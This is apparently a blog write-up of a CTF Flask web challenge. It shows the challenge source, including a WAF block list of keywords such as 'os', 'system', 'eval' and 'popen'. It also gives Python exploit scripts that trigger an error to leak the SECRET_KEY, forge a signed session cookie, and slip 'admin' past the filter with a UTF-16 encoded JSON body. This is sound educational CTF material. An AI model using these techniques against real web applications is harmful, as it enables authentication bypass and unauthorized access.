CISCN2021 Northwest Division Web xb_web_flask_trick

Posted by franck on Mon, 31 Jan 2022 19:57:59 +0100

preface

On June 5, I went to Lanzhou to play the Division match. web1 and web4, web2 and web3 are out of the four web tracks. This question about flash is web3. To be reasonable, it is still very difficult for my brother who is not familiar with flash. Only one team of XD came out during the game. With the help of senior students, I finally worked out this problem this evening and learned a lot.

Source code

import os
from flask import Flask, request, abort, session

app = Flask(__name__)

app.config["SECRET_KEY"] = os.urandom(32)


def getflag1():
    return "flag{test_"
def getflag1():
    return "_flag}"

@app.errorhandler(500)
def error(error):
    return app.config["SECRET_KEY"]

@app.before_request
def waf():
    if request.method == "POST":
        blacklist = [b"request",b"Flask",b"admin",b"app",b"import",b"os",b"system",b"eval",b"exec",b"popen",b"file",b"class",
                     b"mro",b"g",b"get",b"\\",b"open",b"read",b"built"]
        print(request.content_type)
        # print(b"|"+request.get_data()+b"|")
        if request.get_data() == b"":
            return None
        if request.content_type == "multipart/form-data":
            abort(403)
        elif request.content_type == "application/json" :
            data = request.get_data().decode("unicode_escape")
            if "admin" in data or "\\" in data:
                abort(403)
        elif request.content_type == "application/x-www-form-urlencoded":
            data = request.get_data()
            if b"%" in data:
                abort(403)
        else:
            data = request.get_data()
            print(data)
            for i in blacklist:
                if i in data:
                    print(i)
                    print(data)
                    abort(403)
    return None



@app.route("/1",methods=["POST"])
def flag1():
    try:
        data = request.get_json()
        if data["username"] == session["username"] == "admin" :
            return getflag1()
    except Exception as e:
        return str(e)

@app.route("/2",methods=["POST"])
def flag2():
    try:
        data = request.form
        if data["username"] == session["username"] == "admin":
            return getflag1()
    except Exception as e:
        return str(e)


app.run(host="0.0.0.0")

However, I always think there should be a problem with this source code. If you look at it like this, you can only get half of the flags. The real ones should be getflag1 and getflag2.
At that time, I found that this source code could run directly when it was thrown locally, so I debugged it locally, but it didn't come out. I'm still not familiar with python and flash. And it's also offline. I can't find the information. Sometimes if I don't have ideas, I really have to sit.

WP

There are two routes in total, and half of the flag s are obtained respectively. The idea of the second route is relatively simple, so start with the second route.

Route 2

        data = request.form
        if data["username"] == session["username"] == "admin":
            return getflag1()
    except Exception as e:
        return str(e)

It's request Form, there was no offline network at that time, and I didn't know request But there was a problem. Now check:

request.form.x1 post parameter transfer (content type: application / x-www-form-urlencoded or multipart / form data)

You can see that multipart / form data is ban, so you can only apply / x-www-form-urlencoded:

        if request.content_type == "multipart/form-data":
            abort(403)

Coincidentally, application/x-www-form-urlencoded does not give admin to ban:

        elif request.content_type == "application/x-www-form-urlencoded":
            data = request.get_data()
            print(data)
            if b"%" in data:
                abort(403)

So you can call directly. But session['username']='admin' is what 1 and 2 have to go around. I didn't think of the two methods offline at that time. One was to use the fake script of flash session to run the fake session, but I didn't have this script in my computer at that time. The second method is to build flash locally, and then assign a value to the session.
But both of them need to get secret first_ KEY. The source code is as follows:

app.config["SECRET_KEY"] = os.urandom(32)

@app.errorhandler(500)
def error(error):
    return app.config["SECRET_KEY"]

How to get the 500 response code and let the program return to SECRET_KEY is also a difficult thing. The senior said it could be like this:

Successful 500 response code gets SECRET_KEY. But because it's garbled, you can get it from python:

import requests


url="http://192.168.245.1:5000/1"
data='{"1":"\\u"}'
headers={
    "Content-Type": "application/json"
}
r=requests.post(url=url,data=data,headers=headers)
print(r.text.encode())

You can get:

b'\xef\xbf\xbd\xef\xbf\xbds\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdx\x14\xef\xbf\xbd\xef\xbf\xbd`\xef\xbf\xbdi\xef\xbf\xbdc/\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\x1b\xef\xbf\xbd\xef\xbf\xbd:\x1a\x13?}?\x13\x1dY'

Then open a flash locally and forge a session:

app.config["SECRET_KEY"]=b'\xef\xbf\xbd\xef\xbf\xbds\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbdx\x14\xef\xbf\xbd\xef\xbf\xbd`\xef\xbf\xbdi\xef\xbf\xbdc/\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\x1b\xef\xbf\xbd\xef\xbf\xbd:\x1a\x13?}?\x13\x1dY'

@app.route("/3",methods=["POST"])
def flag3():
    session['username']="admin"


Then bring the session:

Route 1

In fact, routing 1 is not difficult, mainly the problem of construction. At that time, I gave hint: look at the source code. But I'm still not familiar with python, so I can't follow it.

@app.route("/1",methods=["POST"])
def flag1():
    try:
        data = request.get_json()

Follow up get_json() source code:

    def get_json(self, force=False, silent=False, cache=True):
        """Parse :attr:`data` as JSON.

        If the mimetype does not indicate JSON
        (:mimetype:`application/json`, see :meth:`is_json`), this
        returns ``None``.

        If parsing fails, :meth:`on_json_loading_failed` is called and
        its return value is used as the return value.

        :param force: Ignore the mimetype and always try to parse JSON.
        :param silent: Silence parsing errors and return ``None``
            instead.
        :param cache: Store the parsed JSON to return for subsequent
            calls.
        """
        if cache and self._cached_json[silent] is not Ellipsis:
            return self._cached_json[silent]

        if not (force or self.is_json):
            return None

        data = self._get_data_for_json(cache=cache)

        try:
            rv = self.json_module.loads(data)
        except ValueError as e:
            if silent:
                rv = None

                if cache:
                    normal_rv, _ = self._cached_json
                    self._cached_json = (normal_rv, rv)
            else:
                rv = self.on_json_loading_failed(e)

                if cache:
                    _, silent_rv = self._cached_json
                    self._cached_json = (rv, silent_rv)
        else:
            if cache:
                self._cached_json = (rv, rv)

        return rv

Notice that RV = self json_ module. Loads (data), follow up:

    @staticmethod
    def loads(s, **kw):
        if isinstance(s, bytes):
            # Needed for Python < 3.6
            encoding = detect_utf_encoding(s)
            s = s.decode(encoding)

        return _json.loads(s, **kw)

If it is found that the incoming bytes may need to be decoded, follow up detect_utf_encoding(s):

def detect_utf_encoding(data):
    """Detect which UTF encoding was used to encode the given bytes.

    The latest JSON standard (:rfc:`8259`) suggests that only UTF-8 is
    accepted. Older documents allowed 8, 16, or 32. 16 and 32 can be big
    or little endian. Some editors or libraries may prepend a BOM.

    :internal:

    :param data: Bytes in unknown UTF encoding.
    :return: UTF encoding name

    .. versionadded:: 0.15
    """
    head = data[:4]

    if head[:3] == codecs.BOM_UTF8:
        return "utf-8-sig"

    if b"\x00" not in head:
        return "utf-8"

    if head in (codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE):
        return "utf-32"

    if head[:2] in (codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE):
        return "utf-16"

    if len(head) == 4:
        if head[:3] == b"\x00\x00\x00":
            return "utf-32-be"

        if head[::2] == b"\x00\x00":
            return "utf-16-be"

        if head[1:] == b"\x00\x00\x00":
            return "utf-32-le"

        if head[1::2] == b"\x00\x00":
            return "utf-16-le"

    if len(head) == 2:
        return "utf-16-be" if head.startswith(b"\x00") else "utf-16-le"

    return "utf-8"

You can find this request get_ JSON () will decode the incoming data accordingly, and waf is like this:

        elif request.content_type == "application/json" :
            data = request.get_data().decode("unicode_escape")
            if "admin" in data or "\\" in data:
                abort(403)


The waf here is for request get_ data(). The data after decode ("unicode_escape") is filtered, and the data we pass in is in get_json() can get admin through non utf-8 decoding, thus bypassing the waf of admin.
Attack:

import requests

print('{"username":"admin"}'.encode("utf-16"))


url="http://192.168.245.1:5000/1"
data=b'\xff\xfe{\x00"\x00u\x00s\x00e\x00r\x00n\x00a\x00m\x00e\x00"\x00:\x00"\x00a\x00d\x00m\x00i\x00n\x00"\x00}\x00'
#data='{"username":"\\u"}'
headers={
    "Cookie":"session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YL4kqA.XDtgpnjkSuVsrDQbCbKXnR1P6i4;",
    "Content-Type": "application/json"
}
r=requests.post(url=url,data=data,headers=headers)
print(r.text.encode())


So as to get a complete flag. Learned, learned.

Topics: Session